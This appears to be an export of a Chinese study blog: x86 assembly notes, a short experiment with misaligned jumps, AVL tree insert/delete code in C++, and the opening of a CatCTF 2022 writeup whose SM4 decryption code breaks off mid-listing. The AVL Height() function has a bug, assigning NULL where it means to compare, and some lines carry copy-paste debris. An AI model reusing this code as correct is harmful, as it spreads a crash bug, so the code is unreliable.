Irvine的书才学到第六章(条件跳转),所以再之后的笔记暂时保留,等之后学完了再整理吧。\n部分表格来源于:\nhttps://blog.csdn.net/qq_36982160/article/details/82950848\n插图ID:87882344\n常用的寄存器:\n31———-16\n15—8\n7—-0\n16位\n32位\nAH\nAL\nAX\nEAX\nBH\nBL\nBX\nEBX\nCH\nCL\nCX\nECX\nDH\nDL\nDX\nEDX\nBP\nEBP\nSI\nESI\nDI\nEDI\nSP\nESP\n注:在VisualStudio还能看见EFL与EIP两种寄存器\nEAX:拓展累加器。常用于做累加器、取返回值等操作。\nEBX:基底暂存器。\nECX:计数暂存器。\nEDX:资料暂存器。\nESI:拓展源变址寄存器。\nEDI:拓展目的变址寄存器。\nESP:拓展帧指针寄存器,也叫栈指针寄存器(extended stack pointer),存放着一个指针,该指针永远指向系统栈最上面一个栈帧的栈顶(我将其当作一个指向当前调用处的栈指针)\nEBP:基址指针寄存器(extended base pointer),存放着一个指针,该指针永远指向系统栈最上面一个栈帧的底部(我将其当作一个指向当前过程的起始栈址的栈指针)\nEFL:EFLAGS寄存器。包含了独立的二进制位(状态标志位),用于控制CPU操作或反应CPU的结果。\nEIP:指令指针。存放下一条将要指向的指令的地址。\n状态标志位:\nCF进位标志位\n主要反映算术运算是否产生进位或借位,若产生,则CF=1,否则CF=0\nOF溢出标志位\n反映有符号数运算结果是否产生溢出,是置1,否置0\nSF符号标志位\n根据运算结果的最高位,若最高位为1则SF为1,否则为0,反映了有符号数运算结果的正负(0正1负)\nZF零标志位\n反映运算结果是否为0\nAC辅助进位标志位\nAF=1时,向高位或高字节进位或借位\nPF奇偶校验标志位\n运算结果操作数位为1的个数为偶数个时为1,否则为0.\n\n对应EFL寄存器中的顺序。\n不过,有的集成开发环境里对状态标志位的写法是不一样的,下图为为别名(其实也不能称为别名,但姑且这么形容比较方便吧)。\n\n状态标志操作指令指令\n中文名\n格式\n解释\nCLC(clear carry flag)\n清进位标志指令\nCLC\n使进位标志CF为0\nSTC(set carry flag)\n置进位标志指令\nSTC\n使进位标志CF为1\nCMC(complement carry flag)\n进位标志取反指令\nCMC\n使进位标志CF取反\nLAHF(load status flags into AH register)\n获取状态标志操作指令\nLAHF\n把位于标志寄存器低端的5个状态标志位(p26图2.3)信息同时送到寄存器AH的对应位\nSAHF(store AH into Flags)\n设置状态标志操作指令\nSAHF\n对标志寄存器中的低8位产生影响,使得状态标志位SF、ZF、AF、PF和CF分别成为来自寄存器AH中对应位的值,但保留位(位1、位3、位5)不受影响\n数据类型:类型\n用法\nBYTE\n8位无符号整数,B代表字节\nSBYTE\n8位有符号整数,S代表有符号\nWORD\n16位无符号整数\nSWORD\n16位有符号整数\nDWORD\n32位无符号整数,D代表双(字)\nSDWORD\n32位有符号整数\nFWORD\n48位整数(保护模式下的远指针)\nQWORD\n64位整数,Q代表四(字)\nTBYTE\n80位整数,T代表10字节\nREAL4\n32位IEEE短实数(4字节)\nREAL8\n64位IEEE长实数(8字节)\nREAL10\n80位IEEE拓展实数(10字节)\n伪指令:\n指令\n作用\n“=”\n可将立即数与标记划等号,在调用标记时将直接进行替代\n“$”\n当前地址计数器。直接代表了当前位置的地址偏移量\nDUP\n可直接为数据分配空间。例:BYTE 20 DUP(0) 分配20字节\nEQU\n将符号名称与整数表达式或任意文本相连(类似于”=”,但更偏向于定义赋值,区别在于不可重定义)\nTEXTEQU\n创建文本宏。分配文本/textmacro分别文本宏内容/%constExpr分配整数常量\n关于汇编的伪指令其实还有很多,诸如 .break/.else/.if等等形如C语言中的操作,也支持”=>”/“==”等判断符。\n简单传送指令指令\n中文名\n格式\n解释\n备注\nMOV\n传送指令\nMOV DEST,SRC\nDEST<=SRC\nXCHG\n交换指令\nXCHG OPER1,OPER2\n把操作数oper1的内容与操作数oper2的内容交换\noper1和oper2可以是通用寄存器或存储单元,但不能同时是操作单元,也不能是立即数。\n拓展传送指令指令\n中文名\n格式\n解释\n备注\nMOVSX\n符号拓展传送指令\nMOVSX DEST,SRC\n把源操作数SRC符号拓展后送至目的操作数DEST\nsrc可以是通用寄存器或者存储单元,但是dest只能是通用寄存器(零拓展传送指令不会改变源操作数,也不影响标志寄存器的状态)\nMOVZX\nMOVZX DEST,SRC\n把源操作数SRC零拓展后送至目的操作数DEST\n零拓展传送指令不会改变源操作数,也不影响标志寄存器的状态\n简单加减指令指令\n中文名\n格式\n解释\n备注\nADD\n加法指令\nADD DEST,SRC\nDEST<=DEST SRC\n两数相加,结果于前\nSUB\n减法指令\nSUB DEST,SRC\nDEST<=DEST-SRC\n两数相减,结果于前\nINC\n加1指令\nINC DEST\nDEST<=DEST 1\nDEC\n减1指令\nDEC DEST\nDEST<=DEST-1\nNEG\n取补指令\nNEG OPRD\nOPRD=0-OPRD\n对操作数取补(相反数)\n常用条件转移指令指令\n中文名\n格式\n解释\n备注\nCMP\n比较指令\nCMP DEST,SRC\n根据dest-src的差影响各状态标志寄存器\n不把dest-src的结果送入dest\nJMP\n无条件段内直接转移指令\nJMP LABEL\n使控制无条件地转移到标号为label的位置\n无条件转移指令本身不影响标志\n\n堆栈和堆栈操作指令\n中文名\n格式\n解释\n备注\nPUSH\n进栈指令\nPUSH SRC\n把源操作数src压入堆栈\n源操作数src可以是32位通用寄存器、16位通用寄存器和段寄存器,也可以是双字存储单元或者字符存储单元,还可以是立即数\nPOP\n出栈指令\nPOP DEST\n从栈顶弹出一个双字或字数据到目的操作数\n如果目的操作数是双字的,那么就从栈顶弹出一个双字数据,否则,从栈顶弹出一个字数据,出栈至少弹出一个字(16位)该指令弹出ESP处数据\nPUSHA\n16位通用寄存器全进栈指令\nPUSHA\n将所有8个16位通用寄存器的内容压入堆栈\n压入顺序是AX CX DX BX SP BP SI DI,然后对战指针寄存器SP的值减16,所以SP进栈的内容是PUSHA指令执行之前的值\nPOPA\n16位通用寄存器全出栈指令\nPOPA\n以PUSHA相反的顺序从堆栈中弹出内容,从而恢复PUSHA之前的寄存器状态\nSP的值不是由堆栈弹出的,而是通过增加16来恢复\nPUSHAD\n32位通用寄存器全进栈指令\nPUSHAD\n将所有8个32位通用寄存器的内容压入堆栈\n压入顺序是EAX ECX EDX EBX ESP EBP ESI EDI,然后对栈指针寄存器ESP的值减32,所以SP进栈的内容是PUSHAD指令执行之前的值\nPOPAD\n32位通用寄存器全出栈指令\nPOPAD\n以PUSHAD相反的顺序从堆栈中弹出内容,从而恢复PUSHAD之前的寄存器状态\nESP的值不是由堆栈弹出的,而是通过增加32来恢复\n过程调用和返回指令指令\n中文名\n格式\n解释\n备注\nCALL\n过程调用指令\nCALL LABEL\n段内直接调用LABEL\n与jmp的区别在于call指令会在调用label之前保存返回地址(call 中return之后主程序还可以继续执行,jmp 当label执行完毕后不能返回主程序继续执行)\nRET\n段内过程返回指令\nRET\n使子程序结束,继续执行主程序\nret 4;ret 8等分别标识返回后回退的栈帧大小\n逻辑运算指令指令\n中文名\n格式\n解释\n备注\nNOT\n否运算指令\nNOT OPRD\n把操作数OPRD按位取反,然后送回OPRD\nAND\n与运算指令\nAND DEST,SRC\n把两个操作数进行与运算之后结果送回DEST\n同1得1,否则得0\nOR\n或运算指令\nOR DEST,SRC\n把两个操作数进行或运算之后结果送回DEST\n同0得0,否则得1\nXOR\n异或运算\nXOR DEST,SRC\n把两个操作数进行异或运算之后结果送回DEST\n相同得0不同得1\nTEST\n测试指令\nTEST DEST,SRC\n与AND指令类似,将各位相与,但是结果不送回DEST,仅影响状态位标志,指令执行后,ZF、PF、SF反映运算结果,CF和OF被清零\n通常用于检测某些位是否为1,但又不希望改变操作数的值\n循环指令指令\n中文名\n格式\n解释\n备注\nLOOP\n计数循环指令\nLOOP LABEL\n使ECX的值减1,当ECX的值不为0的时候跳转至LABEL,否则执行LOOP之后的语句\nLOOPE\n等于循环指令\nLOOPE LABEL\n使ECX的值减1,如果结果不等于0并且零标志ZF等于1(表示相等),那么就转移到LABEL,否则执行LOOPE之后的语句\nLOOPZ\n零循环指令\nLOOPZ LABEL\n使ECX的值减1,如果结果不等于0并且零标志ZF等于1(表示相等),那么就转移到LABEL,否则执行LOOPZ之后的语句\nLOOPNE\n不等于循环指令\nLOOPE LABEL\n使ECX的值减1,如果结果不等于0并且零标志ZF等于0(表示不相等),那么就转移到LABEL,否则执行LOOPNE之后的语句\nLOOPNZ\n非零循环指令\nLOOPNZ LABEL\n使ECX的值减1,如果结果不等于0并且零标志ZF等于0(表示不相等),那么9就转移到LABEL,否则执行LOOPNZ之后的语句\nJECXZ\n计数转移指令\nJECXZ LABEL\n当寄存器ECX的值为0时转移到LABEL,否则顺序执行\n通常在循环开始之前使用该指令,所以循环次数为0时,就可以跳过循环体\nLEA:将存储器操作数mem的4位16进制偏移地址送到指定的寄存器。\nLEA reg16,mem\nENTER/LEAVE:自动创建栈帧/自动删除栈帧\nMySub PROC ENTER 8,0 . . . LEAVE RETMySub ENDP;上下两端代码有着相同的意义 编译器将把上面的代码翻译为下面的代码MySub PROC push ebp mov ebp,esp sub esp,8 . . . mov esp,ebp pop ebp retMySub ENDP\n\nREP:重复指令。以ECX为计数器。\n\nrep movs dword ptr es:[edi],dword ptr ds:[esi]意思bai就是将ESI指向的du地址zhi的值以4字节方式拷贝到daoEDI指向的地址中,重复执行ECX次,每次执zhuan行后ESI+4,EDI+4,ECX-1,OD中在这段代码中下断后按F7单步步入就可以观察到这3个寄存器的变化\n\nSTOS:是将AL/AX/EAX的值存储到[EDI]指定的内存单元中\nSTOS BYTE PTR ES:[EDI]       ——BYTE:把al的值放到EDI指定的位置\nSTOS WORD PTR ES:[EDI]     ——WORD:把ax的值放到EDI的指定位置\nSTOS DWORD PTR ES:[EDI]  ——DWORD:把EAX的值放到EDI的位置\nINVOKE:只用于32位模式,用于将参数入栈(INVOKE procedureName [, arguementList])后者代表入栈的数据,可为列表\nPROC:(label PROC [attributes] [USES reglist] ,paramenter_list)\nPROTO:64位中用于指定程序的外部过程/32位中可包含参数\n如上三者分别可在32位模式下表示:(过程调用——过程实现——过程原型)\n汇编语言的常用编辑格式:\n.386;表示为32位程序.model flat,stdcall;储存形式 声明(内存模式/调用规范).stack 4096; 表示分配4096字节空间用于堆栈ExitProcess PROTO,dwExitCode:DWORDINCLUDE Irvine32.inc;调用链接库;分号在汇编中为注释符.data ;可在下方申请变量VALL BYTE 20h,30h,40h,50h;数组声明greet BYTE "hello world",0 BYTE "i want to creat a program",0dh,0ah byte "so i try to exit this greet ",0dh,0ah,0;字符串声明.data? ;同样是声明变量的区域.code ;程序代码区起始点 标记main PROC ;程序入口mov eax,0mov ebx,5mov ecx,7call SumOfINVOKE ExitProcess,0main ENDP ;过程的结束SumOf PROC ;类似于函数,通过call指令调用add eax,ebxadd eax,ecxretSumOf ENDPEND main ;程序的结束","categories":["Note","汇编语言"],"tags":["汇编"]},{"title":"一个汇编代码小实验","url":"/2021/10/26/asm-test0/","content":"这几天闲着没事,突然想起自己已经把汇编忘得差不多了,于是重新拿起汇编做了个小实验\n测试代码:\npush offset Countermov eax,espmov eax,[eax]push $+6jmp eaxleaveINVOKE ExitProcess,0\n\n关闭随机地址后,0x40206C:leave;$+6=0x40206B;jmp相当于call入一个函数,该函数将使用ret返回到 $+6 处\n机器码对照:\n0x40206A jmp eax:FF E00x40206C leave:C9\n\n于是取址之后拿到 E0 这个机器码后,译码器发现它应该有一个操作数的,于是向后把 C9 带上了,最后就执行E0 C9去了\n不过x32dbg会在滚动之后又将汇编代码识别回 leave 且看上去真的执行了,只是观察寄存器后发现并没有执行leave,因此姑且认为,还是以IDA动调分析的汇编代码为准较好\n另外补充一句:译码器在遇到不认识的机器码时,会直接崩溃,这一点经过笔者尝试得到了验证\n插画ID:91687652\n","categories":["Note","汇编语言"],"tags":["汇编"]},{"title":"AVL树Insert与Delete函数分析(C++)","url":"/2021/02/07/avlinsert/","content":"插入函数Insert先放一下代码。因为是照着黑皮书《数据结构与算法分析》学的,所以代码大致和书上的一样,我并没有做太多修改。只是在理解原理的时候有些比较棘手的地方,所以在这里记笔记,方便以后查看。\nint max(int n1,int n2){if (n1 >= n2)return n1;elsereturn n2;}//取最大值 static int Height(position P){if (P = NULL)return -1;elsereturn P->height;}//获取高度//只是通过结构内定义的高度去取值,没有测算 static position SingleRotateWithLeft(position K2){position K1;K1 = K2->left;K2->left = K1->right;K1->right = K2;K1->height = max(Height(K1->left), Height(K1->right)) + 1;K2->height = max(Height(K2->left), Height(K2->right)) + 1;return K1;}//单旋转(左树旋转) static position DoubleRotateWithLeft(position K3){K3->left = SingleRotateWithRight(K3->left);return SingleRotateWithLeft(K3);}//双旋转(左树旋转) static position SingleRotateWithRight(position K1){position K2;K2 = K1->right;K1->right = K2->left;K2->left = K1;K1->height = max(Height(K1->left), Height(K1->right)) + 1;K2->height = max(Height(K2->left), Height(K2->right)) + 1;return K2;}//单旋转(右树旋转) static position DoubleRotateWithRight(position K3){K3->right = SingleRotateWithLeft(K3->right);return SingleRotateWithRight(K3);}//双旋转(右树旋转) avltree insert(int X,avltree T){if (T == NULL){//T为空节点T = new avlnode;//假定空间永远是足够的T->height = 0;T->left = T->right = NULL;T->info = X;}if (X < T->info){T->left = insert(X, T->left);if (Height(T->left) - Height(T->right) >= 2)//事实上等于2才是最合适的{if (X < (T->left->info))T = SingleRotateWithLeft(T);elseT = DoubleRotateWithLeft(T);}}else if (X > T->info){T->right = insert(X, T->right);if (Height(T->right) - Height(T->left) >= 2)//事实上等于2才是最合适的{if (X > (T->right->info))T = SingleRotateWithRight(T);elseT = DoubleRotateWithRight(T);}}T->height = max(Height(T->left), Height(T->right)) + 1;return T;}\n\n如果你也有这本书,并且已经看过这一部分关于avl的描述了,那么关于“什么是avl树”以及这些代码的作用至少是明白的,这里我主要是对书中所写的insert函数做些笔记。\n因为在树这一节中,很多地方都是通过递归来实现的,不得不承认这是一种非常巧妙的方法,但对于我这种小白来说,阅读和分析递归代码往往会转不过弯(其实更多时候是我懒得动笔,只在脑子里转了几十个循环,最后把自己绕懵了……)\n写在前面,书中的element我用int类型的info代替了,我觉得这样会更容易理解(虽然这样做其实也没什么意义就是了)。\n-——————————————————————————\nInsert过程分析:\n首先,这段函数的第一部分用来判断T节点是否存在。但我最开始还在奇怪,因为我们通常都是创建好了一颗空树,然后再进行插入节点的工作,而这里却要判断T节点是否为空。\n但可能是书上对这里的解释并不是那么清楚,这里我说一些自己的看法,如果有问题,欢迎指出。\n函数中的X代表的就是info,而T则应该输入我们要进行操作的树的根节点地址,毕竟我们也不清楚这个X应该放到树的什么地方。\n但值得注意的是,我们是在使用递归来实现这个功能,也就是说,在每一次递归循环中,T节点是不断改变的,它最终会找到我们要插入数据的实际位置,并在这个地方开辟出新的节点,这才是这段函数的作用。\n那么关键其实就在于寻址了。找到X应该放置的位置其实并不难,ADT树中也已经说过这种方法,但找到之后,却要按照AVL树的性质来存放数据。\n假设,我们通过函数递归,T参数已经来到了NULL的位置,于是这一次的递归中第一次开辟出了新节点。于是我们将新节点的地址返回到了上一次递归中(显然X=T->info,所以其他判断都不起作用了)。\n不妨假设我们上一次是向左树去找,大概就是下面这样(没用鼠标垫,所以漂移的有点厉害……):\n\n所以这一次,T节点实际上是指K1。\nT->left = insert(X, T->left);\n\n而我们刚执行完这条函数,接下来判断K1节点是否打破了平衡状态。\nif (Height(T->left) - Height(T->right) >= 2)//事实上等于2才是最合适的\n\n(之所以会有这道注释,其实只是我的喜好罢了。因为如果在创建和修改二叉树的时候都有这样的操作,那么左树和右树的高度差值根本不可能超过2,因为一旦达到2就会被重新平衡,但我还是想这样写…..)\n假设我们这一次没有打破这个平衡,那么最终我们将会返回K1的地址。\n注:这里有个巧妙的地方,\nT->height = max(Height(T->left), Height(T->right)) + 1;\n\n这段函数能够保证每一次插入节点的时候,都能为它获取高度。假设现在有一颗空树,我插入的第一个节点T1就获得了高度‘0’,而再次插入新节点T2的时候,T2的高度是‘0’,而这条代码获取了T2的高度又+1,变成了自己的高度,从而到达了高度‘1’。如果每个节点都通过这个函数来插入,那么深度自然就被设定好了。\n假设我们从上一次递归出来,回到了下图这个位置。本次递归中T代表了K3的地址。 \n\n现在,我们通过判断,发现K3打破了平衡状态,于是做了一个奇怪的判断:\nif (X < (T->left->info))\n\n函数在判断X是不是小于K1的关键值。\n如果判断为真,其实就说明K2会成为K1的左节点,那么就要进行左树单旋转操作。\n如果判断为假,说明K2是K1的右节点,那么就要进行左树的双旋转操作。\n(判断左树还是右树,其实是根据K1的位置判断。很简单,所以不再赘述)\n\n旋转结束之后,返回了K1的地址(这个地址怎么来的,写在左树单旋转函数里了,该函数返回新根)。\n假设这一次是平衡的,那么大概会长上图这样了。\n最后就是把剩下的还没走完的递归流程走完就行了,这个过程中通常不会再有什么操作了,因为如果你每一次放入节点都用这个函数来操作,基本上都能保证当前的树是一颗正常的树,放入的新节点最多只能影响到它的‘祖父母辈’的平衡状态,只要把‘祖父母辈’的平衡修正回来,通常整棵树都会平衡。\n(这个结论是我自己猜测的,如果有错误欢迎指出)\n删除函数Delete 先放一下代码:(请注意注释。关于旋转函数,分析insert时贴出过,仅供参考。如果在某个地方没有理解,请先继续往下看一会,或许能找到答案。如果发现代码和解释有问题,请务必指出。)\navltree deletenode(int X, avltree T){//X为删除目标的关键字值//info为关键字值position tmp;if (T == NULL)return NULL;else if (X < T->info){T->left=deletenode(X, T->left);if (Height(T->right)-Height(T->left) >= 2)//height函数用于返回节点所处的高度{tmp = T->right;if(Height(tmp->right)>Height(tmp->left))T = SingleRotateWithRight(T);//右树单旋转elseT = DoubleRotateWithRight(T);//右树双旋转 }}else if (X > T->info){T->right=deletenode(X, T->right);if (Height(T->left) - Height(T->right) >= 2){tmp = T->left;if (Height(tmp->left) > Height(tmp->right))T = SingleRotateWithLeft(T);//左树单旋转elseT = DoubleRotateWithLeft(T);//左树双旋转}}else{if (T->left == NULL && T->right == NULL)//若目标节点没有为叶子{delete T;return NULL;}else if (T->right == NULL)//若目标节点只有左子树{tmp = T->left;delete T;return tmp;}else if (T->left==NULL)//若目标节点只有右子树{tmp = T->right;delete T;return tmp;}else//若目标节点左右都有子树{if (Height(T->left) > Height(T->right)){tmp = findmax(T->left);//找出参数节点中最大的节点,返回地址T->info = tmp->info;T->left = deletenode(tmp->info,T->left);}else{tmp = findmin(T->right);//找出参数节点中最小的节点,返回地址T->info = tmp->info;T->right = deletenode(tmp->info, T->right);}}}T->height = max(Height(T->left), Height(T->right)) + 1;return T;}\n\n前提条件:假设现在面对的是一颗完整正确的AVL树,而我们需要对其进行删除节点的操作。\n主要思路是运用递归的方法来进行查找,向函数中输入目标节点的关键字以及根节点地址,进行查找。\n首先进入递归,函数通过这两条代码以及上面的 if条件语句 进行匹配关键字:\nT->left=deletenode(X, T->left);T->right=deletenode(X, T->right);\n\n当我们成功找到了这个关键字所在的节点,进入本次递归,此时T节点代表了目标节点。(方便区分起见,我将每个目标节点T称之为T1节点)\n于是进入了再往下的环节:判断该节点是否有子树。\n情景一:(无子树)\n假设该节点是叶,那么它既没有左子树也没有右子树,直接删除该节点,返回NULL值,回到了进入本次递归的函数位子,假设是这一段:\nT->right=deletenode(X, T->right);\n\n那么,T1节点的父节点成功的将本该指向T1的指针指向了NULL,实现了最基础的 ‘叶删除’ 操作。\n情景二/情景三:(一个子树)\n要么只有左子树,要么只有右子树,这是两个相近的情景,所以何在一起解释。\n在每一次的递归中,函数都会创建一个tmp指针用来储存可能必要的信息(你也可以对这个函数进行优化,毕竟不是每一轮递归都需要它,这或许能省下一部分空间)\n假设现在我们要删除的目标节点只有一个左子树:\n那么我们将tmp指向它左子树的第一个节点,并将这个地址返回,然后T1节点被删除。和情景一相同,它的父节点成功指向了返回值,也就是T1的左子树。\n然而需要注意的是,这是在AVL树中的实现。按照AVL树的性质,倘若一个节点没有右子树,那么它的左子树最多也只能有一个节点。所以每个节点对应的高度就有可能发生变化。\nT->height = max(Height(T->left), Height(T->right)) + 1;\n\n因为叶子仍然是叶子,高度仍然为 0 (假设叶子的高度均为0,当然,这只是假设罢了),于是通过返回的递归右重新测算了改变高度的节点的高度。\n至此,删除节点被实现了。\n情景四:(两个子树)\n最麻烦也最难理解的部分(只是相对而言罢了)。\nif (Height(T->left) > Height(T->right))\n\n他判断了一下目标节点左树和右树哪个比较高,这里不妨先假设一下左树比较高的情景吧。\n函数令tmp指向了左树中最大的那个节点,并将该节点的关键字赋予T1节点(实际上是将tmp复制给T1)。\n然后进入下一轮递归\nT->left = deletenode(tmp->info,T->left);\n\n注意:这一次,查找的目标关键字变成了左树中最大的那个。\n于是我们到达了第二个目标节点T2,并对它进行了删除(这是一个非常简单的删除方法,因为AVL性质规定了数值的大小,只要不停的向右走,走到没有右子树的时候,就能遇见这个最大值,所以这个T2节点一定没有右子树,情景和上面的一样)。\n而之所以要找左树中最大的值,是因为进行复制之后,并不会破坏AVL树在数值上的结构:节点左树中的所有值低于节点,右树中所有值高于节点。\n最后测算高度,完成了删除节点的工作。\n旋转判定:\n以上工作只是完成了 ‘ 删除节点 ’ 这一项,但事实上,删除节点之后,还必须面临打破平衡条件的可能性。\n回到每一轮递归的入口:(本轮T节点将被称为T3)\nT->left=deletenode(X, T->left);if (Height(T->right)-Height(T->left) >= 2)//height函数用于返回节点所处的高度{tmp = T->right;if(Height(tmp->right)>Height(tmp->left))T = SingleRotateWithRight(T);//右树单旋转elseT = DoubleRotateWithRight(T);//右树双旋转}\n\n当我们离开递归之后,必须进行判断是否打破了平衡条件(递归实现了高度的重新测算,这也是非常棒的地方) 。\n注:判断条件写了“右树-左树>2”,而并没有包括“左树-右树”的情况。原因是因为:这个路口是指向左树的,也就是说,我们将在左树中删除某个节点。二叉树本身应该保持平衡,倘若现在左树被删除节点,那么左树就不可能比右树要高,所以只需要判断这一种情况即可。在向右查找的过程中也是如此。\n假设现在平衡被打破了。也就是说,右树比左树高了 2(其实高度差不可能超过 2 ,但我习惯写成 “>=” 罢了)。\n那么该轮tmp将指向T3的右子树第一个节点,然后判断究竟是那一边打破了平衡(必然是比较高的那一边打破平衡)。\n假设是tmp的左树更高,那么就需要进行双旋转,如图:(最开始想要删除的节点已经被删除了,造成了如下的情况出现)\n\n注:\nT = DoubleRotateWithRight(T);//右树双旋转\n\n这些旋转函数都将返回旋转之后的新根。\n其他情况也是相同,判断是否旋转,并判断应该选择哪一种旋转。\n且在每一轮的递归里,都重新计算了高度。\n至此,整个函数完成了删除节点的全部流程。\n","categories":["Note","C++/数据结构"],"tags":["C++","数据结构"]},{"title":"NepnepxCATCTF2022 writeup by TokameinE","url":"/2023/01/02/catctf2022-writeup/","content":"闲言\n感觉大佬们都没来,让我混到第三名了。估计二进制大佬们全都是打 ASIS final 了,就我这个废物不配打QAQ\n题目感觉都不是很难,主要还是我比较菜,做题速度太慢了,以及第一天睡大觉晚了好久上线,不然可能可以多刷几个前三血,不过没奖励,前十血就能捐猫粮了,也就无所谓了。\nPWN这边内核直接不会,开始摆烂,其他几题看到后面已经完全摆烂了,就没继续看了。injection2.0 那道题本地的环境一直打不开,最后开了远程环境随便看了看感觉还行就搞了一下。\nRE的话 CatFly 没搞出来可惜了,算法没抄明白,有时间的话再试试看吧。\nMISC 纯摆烂了,做不明白,就拿 010 看了几个,能看出来的就做了,看不出来的就摆了。几个题目猜到可能是工具,但是懒得下了就不做了。还有几个从头到尾就没看懂要干什么,放弃。\n整个比赛打下来感觉没啥收获,感觉跟复健似的,等一波其他大佬的 WP 吧。密码一题也没做出来,有几个签到题还是想看看的,以及 CatFly 那题也想看看该怎么抄代码,其他的就随便看看吧。PWN 那边没啥体力继续看了,有心情了再看看吧。\nMISCCat_Jump010 直接查就完事了,属于是意料之外:\n\nMeowMeow图片尾巴有 base64 和一大堆数据,解出来 base64 说是 ASCII art,猜是二进制看的。本来要写脚本,但是 010 确实好用,直接看就完事了:\n\nCatchCat最开始没做出来,找了半天工具没找到,第二天随便搜了一下搜到在线工具了,放大了直接看就行了:\n\nNepnep 祝你新年快乐啦!\nCatFlag确实是 CatFlag:\n\nCryptocat’s gift 1 - 1/3 + 1/5 - 1/7 + … 的积分是 pi/4,所以礼物应该是 pi,但是试了半天没对,改成 pie 就对了,难崩……\nReverseStupidOrangeCat2一个 SM4,一个 RC5,找到密文直接解就行了。不过 RC5 没用到密钥,或者说用了默认密钥:\nSM4#include "chacha20.h"void four_uCh2uLong(u8* in, u32* out){ int i = 0; *out = 0; for (i = 0; i < 4; i++) *out = ((u32)in[i] << (24 - i * 8)) ^ *out;}void uLong2four_uCh(u32 in, u8* out){ int i = 0; //从32位unsigned long的高位开始取 for (i = 0; i < 4; i++) *(out + i) = (u32)(in >> (24 - i * 8));}u32 move(u32 data, int length){ u32 result = 0; result = (data << length) ^ (data >> (32 - length)); return result;}u32 func_key(u32 input){ int i = 0; u32 ulTmp = 0; u8 ucIndexList[4] = { 0 }; u8 ucSboxValueList[4] = { 0 }; uLong2four_uCh(input, ucIndexList); for (i = 0; i < 4; i++) { ucSboxValueList[i] = TBL_SBOX[ucIndexList[i]]; } four_uCh2uLong(ucSboxValueList, &ulTmp); ulTmp = ulTmp ^ move(ulTmp, 13) ^ move(ulTmp, 23); return ulTmp;}u32 func_data(u32 input){ int i = 0; u32 ulTmp = 0; u8 ucIndexList[4] = { 0 }; u8 ucSboxValueList[4] = { 0 }; uLong2four_uCh(input, ucIndexList); for (i = 0; i < 4; i++) { ucSboxValueList[i] = TBL_SBOX[ucIndexList[i]]; } four_uCh2uLong(ucSboxValueList, &ulTmp); ulTmp = ulTmp ^ move(ulTmp, 2) ^ move(ulTmp, 10) ^ move(ulTmp, 18) ^ move(ulTmp, 24); return ulTmp;}void encode_fun(u8 len, u8* key, u8* input, u8* output){ int i = 0, j = 0; u8* p = (u8*)malloc(50); //定义一个50字节缓存区 u32 ulKeyTmpList[4] = { 0 }; //存储密钥的u32数据 u32 ulKeyList[36] = { 0 }; //用于密钥扩展算法与系统参数FK运算后的结果存储 u32 ulDataList[36] = { 0 }; //用于存放加密数据 four_uCh2uLong(key, &(ulKeyTmpList[0])); four_uCh2uLong(key + 4, &(ulKeyTmpList[1])); four_uCh2uLong(key + 8, &(ulKeyTmpList[2])); four_uCh2uLong(key + 12, &(ulKeyTmpList[3])); ulKeyList[0] = ulKeyTmpList[0] ^ TBL_SYS_PARAMS[0]; ulKeyList[1] = ulKeyTmpList[1] ^ TBL_SYS_PARAMS[1]; ulKeyList[2] = ulKeyTmpList[2] ^ TBL_SYS_PARAMS[2]; ulKeyList[3] = ulKeyTmpList[3] ^ TBL_SYS_PARAMS[3]; for (i = 0; i < 32; i++) //32次循环迭代运算 { ulKeyList[i + 4] = ulKeyList[i] ^ func_key(ulKeyList[i + 1] ^ ulKeyList[i + 2] ^ ulKeyList[i + 3] ^ TBL_FIX_PARAMS[i]); } for (i = 0; i < len; i++) //将输入数据存放在p缓存区 *(p + i) = *(input + i); for (i = 0; i < 16 - len % 16; i++)//将不足16位补0凑齐16的整数倍 *(p + len + i) = 0; for (j = 0; j < len / 16 + ((len % 16) ? 1 : 0); j++) { four_uCh2uLong(p + 16 * j, &(ulDataList[0])); four_uCh2uLong(p + 16 * j + 4, &(ulDataList[1])); four_uCh2uLong(p + 16 * j + 8, &(ulDataList[2])); four_uCh2uLong(p + 16 * j + 12, &(ulDataList[3])); for (i = 0; i < 32; i++) { ulDataList[i + 4] = ulDataList[i] ^ func_data(ulDataList[i + 1] ^ ulDataList[i + 2] ^ ulDataList[i + 3] ^ ulKeyList[i + 4]); } uLong2four_uCh(ulDataList[35], output + 16 * j); uLong2four_uCh(ulDataList[34], output + 16 * j + 4); uLong2four_uCh(ulDataList[33], output + 16 * j + 8); uLong2four_uCh(ulDataList[32], output + 16 * j + 12); } free(p);}void decode_fun(u8 len, u8* key, u8* input, u8* output){ int i = 0, j = 0; u32 ulKeyTmpList[4] = { 0 };//存储密钥的u32数据 u32 ulKeyList[36] = { 0 }; //用于密钥扩展算法与系统参数FK运算后的结果存储 u32 ulDataList[36] = { 0 }; //用于存放加密数据 four_uCh2uLong(key, &(ulKeyTmpList[0])); four_uCh2uLong(key + 4, &(ulKeyTmpList[1])); four_uCh2uLong(key + 8, &(ulKeyTmpList[2])); four_uCh2uLong(key + 12, &(ulKeyTmpList[3])); ulKeyList[0] = ulKeyTmpList[0] ^ TBL_SYS_PARAMS[0]; ulKeyList[1] = ulKeyTmpList[1] ^ TBL_SYS_PARAMS[1]; ulKeyList[2] = ulKeyTmpList[2] ^ TBL_SYS_PARAMS[2]; ulKeyList[3] = ulKeyTmpList[3] ^ TBL_SYS_PARAMS[3]; for (i = 0; i < 32; i++) { ulKeyList[i + 4] = ulKeyList[i] ^ func_key(ulKeyList[i + 1] ^ ulKeyList[i + 2] ^ ulKeyList[i + 3] ^ TBL_FIX_PARAMS[i]); } for (j = 0; j < len / 16; j++) { four_uCh2uLong(input + 16 * j, &(ulDataList[0])); four_uCh2uLong(input + 16 * j + 4, &(ulDataList[1])); four_uCh2uLong(input + 16 * j + 8, &(ulDataList[2])); four_uCh2uLong(input + 16 * j + 12, &(ulDataList[3])); for (i = 0; i < 32; i++) { ulDataList[i + 4] = ulDataList[i] ^ func_data(ulDataList[i + 1] ^ ulDataList[i + 2] ^ ulDataList[i + 3] ^ ulKeyList[35 - i]); } uLong2four_uCh(ulDataList[35], output + 16 * j); uLong2four_uCh(ulDataList[34], output + 16 * j + 4); uLong2four_uCh(ulDataList[33], output + 16 * j + 8); uLong2four_uCh(ulDataList[32], output + 16 * j + 12); }}void print_hex(u8* data, int len){ int i = 0; char alTmp[16] = { '0','1','2','3','4','5','6','7','8','9','a','b','c','d','e','f' }; for (i = 0; i < len; i++) { printf("%c", alTmp[data[i] / 16]); printf("%c", alTmp[data[i] % 16]); putchar(' 